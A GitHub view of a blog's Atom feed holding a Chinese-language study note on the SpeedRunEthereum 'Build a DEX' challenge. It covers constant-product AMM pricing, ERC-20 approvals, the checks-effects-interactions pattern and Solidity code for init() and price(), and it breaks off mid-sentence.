-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
653 lines (309 loc) · 468 KB
/
Copy pathatom.xml
File metadata and controls
653 lines (309 loc) · 468 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Kylinxin's Blog</title>
<link href="https://kylinxin.github.io/atom.xml" rel="self"/>
<link href="https://kylinxin.github.io/"/>
<updated>2026-06-25T01:00:00.000Z</updated>
<id>https://kylinxin.github.io/</id>
<author>
<name>Kylinxin</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 04:Build a DEX</title>
<link href="https://kylinxin.github.io/2026/06/25/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ABuild%20a%20DEX/"/>
<id>https://kylinxin.github.io/2026/06/25/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ABuild%20a%20DEX/</id>
<published>2026-06-25T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 4 关 Build a DEX 聚焦 AMM 恒定乘积定价、ERC-20 approve / transferFrom 授权、swap、加撤流动性、CEI 安全模式,以及 Scaffold-ETH Debug 标签页联调。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/build-a-dex" >speedrunethereum.com/challenge/build-a-dex<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ COMPLETED(Ethereum 101 · 5/5;12/12 Foundry 测试、Debug 标签页 UI 实测、swap 和 deposit/withdraw 对账均已完成)<br><strong>框架</strong>: Foundry + Scaffold-ETH 2<br><strong>日期</strong>: 2026/06/25<br><strong>XP</strong>: +10(Ethereum 101 · 5/5)</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>这个挑战要你<strong>从零写一个完整的 AMM DEX</strong>(自动做市商去中心化交易所),参照 Uniswap V2 的设计。5 个 Checkpoint 覆盖:</p><table><thead><tr><th>CP</th><th>主题</th><th>函数</th><th>难度</th></tr></thead><tbody><tr><td><strong>CP2</strong></td><td>初始化 + 流动性查询</td><td><code>init</code>, <code>getLiquidity</code></td><td>⭐</td></tr><tr><td><strong>CP3</strong></td><td>定价数学</td><td><code>price</code></td><td>⭐⭐</td></tr><tr><td><strong>CP4</strong></td><td>交易 (swap)</td><td><code>ethToToken</code>, <code>tokenToEth</code></td><td>⭐⭐⭐</td></tr><tr><td><strong>CP5</strong></td><td>加撤流动性</td><td><code>deposit</code>, <code>withdraw</code></td><td>⭐⭐⭐⭐</td></tr></tbody></table><p><strong>最终成果</strong>:7 个函数 + 2 个 view,<strong>12/12 测试全绿</strong>,Debug 标签页实测 4 个 swap 场景与 deposit/withdraw 对账都符合预期。</p><h3 id="教学价值(这个挑战想让你懂的)"><a href="#教学价值(这个挑战想让你懂的)" class="headerlink" title="教学价值(这个挑战想让你懂的)"></a>教学价值(这个挑战想让你懂的)</h3><ol><li><strong>AMM(自动做市商)核心数学</strong> —— 恒定乘积公式 <code>x·y = k</code></li><li><strong>ERC20 深入</strong> —— 账本模型、approve 流程、OZ v5 行为</li><li><strong>Solidity 工程实践</strong> —— <code>payable</code> / <code>msg.value</code> / <code>address(this).balance</code> 陷阱</li><li><strong>DeFi 安全模式</strong> —— CEI(Checks → Effects → Interactions)</li><li><strong>前端 + 合约联调</strong> —— Scaffold-ETH Debug 标签页 + ABI 错误诊断</li></ol><hr><h2 id="🧠-核心概念(先理解这些再写代码)"><a href="#🧠-核心概念(先理解这些再写代码)" class="headerlink" title="🧠 核心概念(先理解这些再写代码)"></a>🧠 核心概念(先理解这些再写代码)</h2><h3 id="1-AMM-恒定乘积公式"><a href="#1-AMM-恒定乘积公式" class="headerlink" title="1. AMM 恒定乘积公式"></a>1. AMM 恒定乘积公式</h3><p>DEX 跟传统订单簿交易所<strong>完全不同</strong>——它<strong>没有买卖单</strong>,而是用一个数学公式自动定价。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">x · y = k</span><br></pre></td></tr></table></figure></div><p>在无手续费的理想模型里,swap 前后的 <code>k</code> 保持不变;加入 0.3% 手续费后,手续费留在池子里,<code>k</code> 会随交易增长,LP 的份额价值也因此增加。</p><ul><li><code>x</code> = 池子里的 ETH 数量</li><li><code>y</code> = 池子里的 token 数量</li><li>用户拿 <code>Δx</code> ETH 进来换 token,池子的 <code>y</code> 必须<strong>减少</strong>,使无手续费部分满足恒定乘积约束</li><li>拿走的 token = <code>y - k/(x + Δx)</code></li></ul><p><strong>直觉</strong>:您放越多 ETH 进来,单位 ETH 能换的 token <strong>越少</strong>(被数学”惩罚”)。这阻止了”一次性抽干池子”。</p><h3 id="2-0-3-手续费(997-1000-优化)"><a href="#2-0-3-手续费(997-1000-优化)" class="headerlink" title="2. 0.3% 手续费(997/1000 优化)"></a>2. 0.3% 手续费(997/1000 优化)</h3><p>Uniswap V2 收 0.3% 手续费,<strong>LP 凭证持有者赚这钱</strong>。</p><p>数学上等价于”用户的输入只有 99.7% 真的参与定价”:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">xInputWithFee = xInput × 997 / 1000</span><br><span class="line">yOutput = yReserves × xInputWithFee / (xReserves + xInputWithFee)</span><br></pre></td></tr></table></figure></div><p><strong>为什么要 <code>997/1000</code> 而不是直接 <code>× 0.003</code>?</strong> 因为 Solidity 是整数除法,<strong>先除会丢精度</strong>。把 1000 留到分母、997 留到分子,最后一步除法自然约掉,<strong>保留最大精度</strong>。</p><h3 id="3-ERC20-账本模型(关键反直觉点)"><a href="#3-ERC20-账本模型(关键反直觉点)" class="headerlink" title="3. ERC20 账本模型(关键反直觉点)"></a>3. ERC20 账本模型(关键反直觉点)</h3><p><strong>很多人误以为</strong> ERC20 token “装”在合约里——<strong>错</strong>。</p><p>ERC20 合约是<strong>记录”谁有多少 token”的账本(数据库)</strong>,不是装币的容器。</p><p>看 <code>Balloons.sol</code>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">contract Balloons is ERC20 {</span><br><span class="line"> constructor() ERC20("Balloons", "BAL") {</span><br><span class="line"> _mint(msg.sender, 1000 ether); // mints 1000 balloons!</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><code>_mint(msg.sender, 1000 ether)</code> 在合约的 storage 里:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">totalSupply = 1000 ether // 总账</span><br><span class="line">balanceOf[deployer] = 1000 ether // deployer 名下</span><br><span class="line">balanceOf[Balloons合约自己] = 0 // 合约自己不持有!</span><br></pre></td></tr></table></figure></div><p><strong>证明</strong>:在 Debug 选 <code>Balloons</code> 合约 → <code>balanceOf(Balloons合约自己的地址)</code> → 永远是 <strong>0</strong>。这就是账本模型的”<strong>账本本身不持币</strong>“。</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-04-balloons-contract-view.png" alt="Balloons 合约视图 - totalSupply 1000" ><figcaption>Balloons 合约视图 - totalSupply 1000</figcaption></figure></p><table><thead><tr><th>概念</th><th>现实类比</th></tr></thead><tbody><tr><td>ETH</td><td>真实的”币”,存在地址上(地址.balance 增减)</td></tr><tr><td>ERC20 token</td><td>数字,”记录在”合约的 mapping 里(合约更新 balanceOf[X])</td></tr></tbody></table><h3 id="4-Approve-TransferFrom-模式"><a href="#4-Approve-TransferFrom-模式" class="headerlink" title="4. Approve + TransferFrom 模式"></a>4. Approve + TransferFrom 模式</h3><p>ERC20 标准规定:<strong>你的钱,必须你主动同意别人才能动</strong>。</p><table><thead><tr><th>步骤</th><th>调什么</th><th>效果</th></tr></thead><tbody><tr><td>①</td><td><code>balloons.approve(dex, 100e18)</code></td><td>“我同意让 DEX 拉我 100 token”(不发生转账,只改 allowance)</td></tr><tr><td>②</td><td><code>dex.init{value: 1e18}(1e18)</code></td><td>用户发 1 ETH + 1 token 给 DEX</td></tr><tr><td>③</td><td>DEX 内部 <code>balloons.transferFrom(user, dex, 1e18)</code></td><td>真正把 1 token 从 user 账本划到 DEX 账本</td></tr></tbody></table><p><strong>为什么不直接 <code>transfer</code>?</strong> 因为 <code>transfer</code> 是 user 先发一笔,再发 ETH,<strong>两笔交易存在不同步和被抢跑风险</strong>。<code>approve + transferFrom</code> 把 ETH 和 token 的进入放在同一笔交易里,保证原子完成。</p><h3 id="5-CEI-安全模式"><a href="#5-CEI-安全模式" class="headerlink" title="5. CEI 安全模式"></a>5. CEI 安全模式</h3><p>Solidity 函数的最佳实践顺序:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">① Checks — 校验输入</span><br><span class="line">② Effects — 修改 state 变量</span><br><span class="line">③ Interactions — 外部调用(transfer、emit)</span><br></pre></td></tr></table></figure></div><p><strong>为什么 Effects 在前?</strong> 万一外部调用触发了用户合约的 fallback 重入,<strong>重入时看到的是已更新的 state</strong>,不会被攻击。</p><hr><h2 id="📂-项目结构"><a href="#📂-项目结构" class="headerlink" title="📂 项目结构"></a>📂 项目结构</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">packages/foundry/</span><br><span class="line">├── contracts/</span><br><span class="line">│ ├── Balloons.sol # 测试用 ERC20 token(DO NOT EDIT)</span><br><span class="line">│ ├── DEX.sol # 我们的 DEX(核心实现)</span><br><span class="line">│ └── IDEX.sol # DEX 接口(DO NOT EDIT,定义函数签名)</span><br><span class="line">└── test/</span><br><span class="line"> └── DEX.t.sol # Foundry 测试,12 个测试覆盖 5 个 CP</span><br><span class="line"></span><br><span class="line">packages/nextjs/</span><br><span class="line">├── app/debug/ # Debug 标签页(手动调合约)</span><br><span class="line">└── contracts/</span><br><span class="line"> └── deployedContracts.ts # 自动生成,记录部署的 ABI</span><br></pre></td></tr></table></figure></div><h3 id="Debug-标签页能看到的所有函数"><a href="#Debug-标签页能看到的所有函数" class="headerlink" title="Debug 标签页能看到的所有函数"></a>Debug 标签页能看到的所有函数</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-03-debug-tab-functions.png" alt="Debug 标签页的函数列表" ><figcaption>Debug 标签页的函数列表</figcaption></figure></p><hr><h2 id="🛠️-Checkpoint-2-初始化-流动性查询"><a href="#🛠️-Checkpoint-2-初始化-流动性查询" class="headerlink" title="🛠️ Checkpoint 2: 初始化 + 流动性查询"></a>🛠️ Checkpoint 2: 初始化 + 流动性查询</h2><h3 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>init()</code> 创建池子 + <code>getLiquidity()</code> 查询 LP 余额。</p><h3 id="1-immutable-vs-constant"><a href="#1-immutable-vs-constant" class="headerlink" title="1. immutable vs constant"></a>1. immutable vs constant</h3><p><code>DEX.sol</code> 顶部 state variable:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">IERC20 public immutable token; // ← 这个用 immutable</span><br><span class="line">uint256 public totalLiquidity;</span><br><span class="line">mapping(address => uint256) public liquidity;</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>维度</th><th><code>constant</code></th><th><code>immutable</code></th></tr></thead><tbody><tr><td>赋值时机</td><td><strong>编译时</strong></td><td><strong>部署时</strong>(constructor 内)</td></tr><tr><td>能存什么</td><td>值类型、<code>string</code>、<code>bytes</code></td><td><strong>任意类型</strong>(含合约引用)</td></tr><tr><td>存储位置</td><td>内联到字节码</td><td>存在字节码尾部(CODESLOAD)</td></tr><tr><td>Gas</td><td>最便宜</td><td>略贵一点点(仍比 SLOAD 便宜)</td></tr></tbody></table><p><strong>为什么 <code>token</code> 用 immutable?</strong> 因为它是 <code>IERC20</code>(合约地址),<strong>地址只有部署那一刻才知道</strong>——<code>constant</code> 要求编译期就知道值,做不到。但地址一旦在 constructor 设好就再不变,<strong>逻辑上是常量,只是赋值时机晚一点</strong> → <code>immutable</code> 正是为此设计。</p><h3 id="2-init-完整实现"><a href="#2-init-完整实现" class="headerlink" title="2. init() 完整实现"></a>2. <code>init()</code> 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">function init(uint256 tokens) public payable returns (uint256 initialLiquidity) {</span><br><span class="line"> if (totalLiquidity > 0) {</span><br><span class="line"> revert DexAlreadyInitialized();</span><br><span class="line"> }</span><br><span class="line"> totalLiquidity = address(this).balance;</span><br><span class="line"> liquidity[msg.sender] = totalLiquidity;</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokens)) {</span><br><span class="line"> revert TokenTransferFailed();</span><br><span class="line"> }</span><br><span class="line"> return totalLiquidity;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>逐行解析(做什么 / 为什么 / 怎么写)</strong>:</p><h4 id="L1-L3:守卫"><a href="#L1-L3:守卫" class="headerlink" title="L1-L3:守卫"></a>L1-L3:守卫</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (totalLiquidity > 0) {</span><br><span class="line"> revert DexAlreadyInitialized();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>:如果池子已经被初始化过,revert 抛错</li><li><strong>为什么</strong>:DEX 只能 init <strong>一次</strong>——第一次 init 设定了 ETH/token 的初始价格比率(1:1)。如果允许第二次 init,攻击者可以操纵初始价格</li><li><strong>怎么写</strong>:用 <code>revert CustomError()</code> 模式,比 <code>require</code> 字符串省 gas</li></ul><h4 id="L4-L5:设置总-LP-给第一个-LP-发凭证"><a href="#L4-L5:设置总-LP-给第一个-LP-发凭证" class="headerlink" title="L4-L5:设置总 LP + 给第一个 LP 发凭证"></a>L4-L5:设置总 LP + 给第一个 LP 发凭证</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">totalLiquidity = address(this).balance;</span><br><span class="line">liquidity[msg.sender] = totalLiquidity;</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>:把”池子里全部的 ETH 数量”记为总流动性,并把这个数量给 msg.sender</li><li><strong>为什么</strong>:<code>address(this).balance</code> 自动包含 msg.value;LP 数量 = 投入的 ETH 数量,让”1 wei 的 LP 凭证 = 当时池子里的 1 wei ETH”——这个 1:1 锚定是后续所有 LP 增减的计算基础</li><li><strong>怎么写</strong>:用 <code>address(this).balance</code> 而不是 <code>msg.value</code>——两者此刻数值相同,但用 balance 更”诚实”(未来如果有 <code>selfdestruct</code> 强制塞 ETH,balance 会变,msg.value 不会)</li></ul><h4 id="L6-L8:拉-token-进来"><a href="#L6-L8:拉-token-进来" class="headerlink" title="L6-L8:拉 token 进来"></a>L6-L8:拉 token 进来</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (!token.transferFrom(msg.sender, address(this), tokens)) {</span><br><span class="line"> revert TokenTransferFailed();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>:从调用者那里<strong>拉取</strong> <code>tokens</code> 数量的 ERC20 代币到合约</li><li><strong>为什么用 <code>transferFrom</code> 而不是 <code>transfer</code>?</strong> <code>transferFrom</code> 走 approve 流程,配合 <code>payable</code> 实现<strong>原子性</strong>(ETH 和 token 一笔交易同进同出)</li><li><strong>为什么检查返回值?</strong> ERC20 标准规定 <code>transferFrom</code> 返回 <code>bool</code>——但不检查的话,失败会<strong>静默成功</strong>,LP 凭空多出 ETH 份额</li></ul><h4 id="⚠️-隐藏的-Bug:死代码"><a href="#⚠️-隐藏的-Bug:死代码" class="headerlink" title="⚠️ 隐藏的 Bug:死代码"></a>⚠️ 隐藏的 Bug:死代码</h4><p><strong><code>if (!token.transferFrom(...))</code> 实际上是死代码</strong>——OpenZeppelin v5 的 <code>transferFrom</code> <strong>不会</strong>返回 false,失败直接 revert(抛 <code>ERC20InsufficientAllowance</code>)。所以 <code>TokenTransferFailed</code> 这个 revert 永远走不到。不过写上无害,是”防御性编程”。</p><h3 id="3-实战踩坑:0xfb8f41b2"><a href="#3-实战踩坑:0xfb8f41b2" class="headerlink" title="3. 实战踩坑:0xfb8f41b2"></a>3. 实战踩坑:0xfb8f41b2</h3><p>第一次在 Debug 调 init 报错:</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-01-init-error-0xfb8f41b2.png" alt="init 报错 0xfb8f41b2" ><figcaption>init 报错 0xfb8f41b2</figcaption></figure></p><p>前端显示 <code>0xfb8f41b2 not found on ABI</code>。我<strong>用 cast 算</strong>了一下:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cast sig <span class="string">"ERC20InsufficientAllowance(address,uint256,uint256)"</span></span><br><span class="line">0xfb8f41b2</span><br></pre></td></tr></table></figure></div><p><strong>真相</strong>:这是 <strong>OpenZeppelin v5 的标准错误</strong>,来自 <strong>Balloons 合约</strong>,不是 DEX。</p><table><thead><tr><th>原因</th><th>我没给 Balloons 授权 DEX 拉 token</th></tr></thead><tbody><tr><td>流程</td><td>approve 是 ERC20 的”拉钱”前置条件</td></tr><tr><td>解法</td><td>先调 <code>balloons.approve(dex, 1e18)</code>,再调 <code>init</code></td></tr></tbody></table><p><strong>教训</strong>:前端 ABI 找不到错误选择器时,<strong>不要只看调用入口的 ABI,要怀疑子调用</strong>。</p><h3 id="4-init-成功后的状态"><a href="#4-init-成功后的状态" class="headerlink" title="4. init() 成功后的状态"></a>4. <code>init()</code> 成功后的状态</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-05-dex-after-init.png" alt="init 成功后的 DEX 状态" ><figcaption>init 成功后的 DEX 状态</figcaption></figure></p><table><thead><tr><th>状态变量</th><th>值</th><th>含义</th></tr></thead><tbody><tr><td><code>totalLiquidity</code></td><td><code>1e18</code></td><td>DEX 发行的 LP 总量 = 1 ETH</td></tr><tr><td><code>liquidity[user]</code></td><td><code>1e18</code></td><td>第一个 LP 拿到 100% 的 LP</td></tr><tr><td><code>address(dex).balance</code></td><td>1 ETH</td><td>池子里的 ETH</td></tr><tr><td><code>token.balanceOf(dex)</code></td><td>1</td><td>池子里的 token</td></tr></tbody></table><hr><h2 id="🧮-Checkpoint-3-定价函数"><a href="#🧮-Checkpoint-3-定价函数" class="headerlink" title="🧮 Checkpoint 3: 定价函数"></a>🧮 Checkpoint 3: 定价函数</h2><h3 id="目标-1"><a href="#目标-1" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>price()</code> —— <strong>纯计算</strong>,不动 state。</p><h3 id="1-完整实现"><a href="#1-完整实现" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function price(uint256 xInput, uint256 xReserves, uint256 yReserves)</span><br><span class="line"> public pure returns (uint256 yOutput)</span><br><span class="line">{</span><br><span class="line"> uint256 xInputWithFee = xInput * 997;</span><br><span class="line"> yOutput = (yReserves * xInputWithFee) / (xReserves * 1000 + xInputWithFee);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-为什么是-pure-不是-view?"><a href="#2-为什么是-pure-不是-view?" class="headerlink" title="2. 为什么是 pure 不是 view?"></a>2. 为什么是 <code>pure</code> 不是 <code>view</code>?</h3><table><thead><tr><th>修饰符</th><th>能否读 state</th><th>能否写 state</th><th>何时用</th></tr></thead><tbody><tr><td><code>pure</code></td><td>❌</td><td>❌</td><td>纯计算</td></tr><tr><td><code>view</code></td><td>✅</td><td>❌</td><td>读 storage</td></tr></tbody></table><p><code>price()</code> <strong>不读</strong> <code>token</code>、<code>totalLiquidity</code>、<strong>任何 storage</strong>——三个参数都从外面传进来。所以可以且<strong>应该</strong>是 <code>pure</code>——在编译期禁止它读取 storage,<strong>更安全 + 更省 gas</strong>。</p><h3 id="3-公式推导(x-·-y-k-0-3-手续费)"><a href="#3-公式推导(x-·-y-k-0-3-手续费)" class="headerlink" title="3. 公式推导(x · y = k + 0.3% 手续费)"></a>3. 公式推导(x · y = k + 0.3% 手续费)</h3><p>设用户输入 <code>Δx</code>,fee = 0.3%,实际参与定价是 <code>Δx × 997/1000</code>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(x + Δx · 997/1000) · (y - Δy) = x · y</span><br></pre></td></tr></table></figure></div><p>解出 <code>Δy</code>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Δy = y · Δx · 997 / (x · 1000 + Δx · 997)</span><br></pre></td></tr></table></figure></div><p><strong>这正是测试断言的值</strong>——手算验证:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">price(1e18, 5e18, 5e18)</span><br><span class="line">= 5e18 × 1e18 × 997 / (5e18 × 1000 + 1e18 × 997)</span><br><span class="line">= 4.985e39 / 5.997e21</span><br><span class="line">= 0.8312489578... × 1e18</span><br><span class="line">= 831248957812239453 wei ✅</span><br></pre></td></tr></table></figure></div><h3 id="4-手算举例(为什么不是-1-0)"><a href="#4-手算举例(为什么不是-1-0)" class="headerlink" title="4. 手算举例(为什么不是 1.0)"></a>4. 手算举例(为什么不是 1.0)</h3><p>直觉:池子里 5 ETH 和 5 token,”公允价值”是 1 ETH = 1 token。投 1 ETH 应该换 1 token 才”公平”。</p><p><strong>但实际只换到 0.8312 token</strong>——少了约 17%!两个损失叠加:</p><h4 id="损失-①:AMM-滑点"><a href="#损失-①:AMM-滑点" class="headerlink" title="损失 ①:AMM 滑点"></a>损失 ①:AMM 滑点</h4><p>不带手续费,投 1 ETH 进去:</p><ul><li>池子变成 6 ETH,要保持 k=25 → token 池 = 25/6 ≈ 4.167</li><li>拿 <code>5 - 4.167 = 0.833</code> token</li></ul><h4 id="损失-②:0-3-手续费"><a href="#损失-②:0-3-手续费" class="headerlink" title="损失 ②:0.3% 手续费"></a>损失 ②:0.3% 手续费</h4><p>手续费扣的是”输入”:1 ETH → 0.003 ETH = 手续费 → <strong>只有 0.997 ETH 进池子定价</strong></p><table><thead><tr><th>阶段</th><th>池子 ETH</th><th>池子 token</th><th>我能拿走</th></tr></thead><tbody><tr><td>初始</td><td>5</td><td>5</td><td>0</td></tr><tr><td>投 0.997 ETH 后(扣 0.3% 费)</td><td>5.997</td><td>4.169</td><td><strong>0.8312</strong> ✅</td></tr></tbody></table><p>手续费留在池子里,让 LP 凭证越来越值钱——<strong>这就是 LP 怎么赚钱</strong>。</p><h3 id="5-实战踩坑:price-返回-0"><a href="#5-实战踩坑:price-返回-0" class="headerlink" title="5. 实战踩坑:price 返回 0"></a>5. 实战踩坑:price 返回 0</h3><p>我以为 <code>forge test</code> 通过就 OK,结果去 Debug 调 <code>price(1e18, 5e18, 5e18)</code> 返回 <strong>0</strong>:</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-02-price-returns-zero.png" alt="price 返回 0" ><figcaption>price 返回 0</figcaption></figure></p><p><strong>原因</strong>:<strong>链上部署的合约是旧版本</strong>(部署时 price() 函数体还是空注释 <code>// Your code here...</code>),新代码只在我电脑上编译过,没部署到链上。</p><p><strong><code>forge test</code> 跑的是测试时新编译的代码,但前端连的是链上已部署的旧合约实例</strong>——两个东西完全不同。</p><table><thead><tr><th>方式</th><th>代码来源</th></tr></thead><tbody><tr><td><code>forge test</code></td><td>每次跑测试都<strong>重新编译并部署</strong>新合约实例</td></tr><tr><td>Scaffold-ETH 前端</td><td>连的是<strong>本地链上已部署的合约实例</strong>(不会自动重编译)</td></tr></tbody></table><p><strong>修法</strong>:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 停掉 yarn chain(Ctrl+C)</span></span><br><span class="line"><span class="comment"># 2. 重启 yarn chain</span></span><br><span class="line">yarn chain</span><br><span class="line"><span class="comment"># 3. 重部署(必须加 --reset)</span></span><br><span class="line">yarn deploy --reset</span><br><span class="line"><span class="comment"># 4. 刷前端</span></span><br><span class="line">Cmd/Ctrl + R</span><br></pre></td></tr></table></figure></div><p><strong>教训</strong>:改完合约 → 